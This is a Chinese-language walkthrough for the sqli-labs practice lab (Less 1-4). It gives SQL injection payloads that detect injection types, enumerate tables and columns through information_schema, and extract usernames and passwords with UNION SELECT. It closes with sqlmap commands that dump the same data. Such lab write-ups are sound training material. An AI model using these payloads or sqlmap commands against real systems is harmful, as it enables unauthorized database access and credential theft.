sqli-labs通关Less 1-4
实验工具:phpstudy pro, Firefox
MySQL 5.7.26
Nginx 1.15.11
PHP 5.4.45
注意:sqli-labs-master配置正确的情况下,创建实验数据库出错,可能是由于php版本造成,可试着更改其版本。
一. Less 1
- 判断注入类型
判断语句:http://localhost/sql-lab/less-1/??id=1 , id=1’
id=1 --+(%23) 字符是用来注释sql后面的语句。
根据页面回显可以确定less-1 存在字符型注入, - payload **相关信息
1)order by 语句判断表中数据多少列,先定义任意一固定值10,然后为5,2,3,可以判断出此表有3列。
语句:http://localhost/sql-lab/less-1/?id=1‘ order by 10
2)修改id值,盲猜数据库中不存在的id值,此处任意输入值位905,判断数据显示点位,输入4位,出错,3位,回显正常,说明有2个数据显示点。
语句:http://localhost/sql-lab/less-1/?id=905’ union select 1,2,3,4 --+
3)**数据库名和用户名
Payload:
http://localhost/sql-lab/less-1/?id=905’ union select 1,user(),database() --+
4)**数据库中存在的表
Payload:
http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 --+
注意:MySQL自带4个默认数据库,information_schema,performance_schema,mysql,test。其中informance_schema
保存了MySQl服务所有数据库的信息。
具体MySQL服务有多少个数据库,各个数据库有哪些表,各个表中的字段是什么数据类型,各个表中有哪些索引,各个数据库要什么权限才能访问。
5)**数据表中列
Payload:
http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),3 --+
6)**账号密码信息
Payload:
localhost/sql-lab/less-1/?id=905’
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
注意:concat_ws()函数就是方便我们的,避免在每一个字段前加上分隔符。
以上,咯,数据库相关信息出来了。
二. Less 2
- 判断注入类型
判断语句:
http://localhost/sql-lab/less-2/?id=1 and 1=1
http://localhost/sql-lab/less-2/?id=1 and 1=2
第二条语句出错,则说明是布尔型注入 - payload **相关信息
**方式同less 1
三. Less 3
- 判断注入类型
判断语句:
http://localhost/sql-lab/less-3/?id=1‘ --+
http://localhost/sql-lab/less-3/?id=1‘) --+
可以看出是 ‘)字符型注入 - payload **相关信息
**方式同less 1
四. Less 4
- 判断注入类型
判断语句:
http://localhost/sql-lab/less-4/?id=1“
可以看出是 " 字符型注入 - payload **相关信息
**方式同less 1
最后,简单粗暴的**方式当然是sqlmap啦,因为是本地实验库,知根知底,**也简单些。
以less 1为例:
1) 检查注入点:
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1
2) **所有数据库:
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --dbs
3) **当前数据库信息
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --current-db
4) **指定数据库所有表名
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security –tables
5) **指定表名中所有列
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users –columns
6) Dump打印表中指定列名字段值
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users -C id,username,password --dump